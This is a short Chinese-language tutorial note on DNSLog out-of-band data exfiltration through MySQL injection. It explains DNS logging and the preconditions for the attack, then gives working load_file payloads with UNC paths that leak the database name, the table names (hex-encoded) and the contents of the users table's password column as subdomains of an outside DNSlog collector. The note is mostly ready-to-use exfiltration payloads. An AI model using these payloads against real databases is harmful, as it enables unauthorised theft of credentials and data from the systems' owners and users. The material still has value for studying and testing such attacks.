# DNSLog 外带复现
# DNS:
DNS 就是域名系统,负责把域名转换成 IP 地址;例如像浏览其访问 a.com,浏览器就会将其解析成真实的 IP 访问
# DNSlog:
DNS 的日志,DNS 在域名解析时会留下域名和解析 IP 的记录
# DNSLog 外带原理:
DNS 在解析是会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志来获取信息。
所以这里跟最初的猜想基本一致,原理也就是通过 DNS 请求后,通过读取日志来获取我们的请求信息。
# mysql
# load_file 前置条件:
1. 首先有注入点
2. 需要有 root 权限
3. 数据库有读写权限即:secure_file_priv=""
4. 得有请求 url 权限
5. 得是 windows 服务器不然出不来
我使用的 DNSlog 反连网站:
https://eyes.sh/dns/
域名:l6mo96xa.eyes.sh
# 数据库:
select load_file(concat('//',(select database()),'.l6mo96xa.eyes.sh/1.txt'));
# 表:
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.l6mo96xa.eyes.sh/1.txt'));
url 中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制通过符号的局限性
select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.l6mo96xa.eyes.sh/1.txt'));
东西还不能太多,不然也是带不出来的
# 数据
select load_file(concat('//',(select group_concat(password separator '_') from users),'.l6mo96xa.eyes.sh/1.txt'));
这个只是 mysql 的注入方法,还有一些别的还得之后研究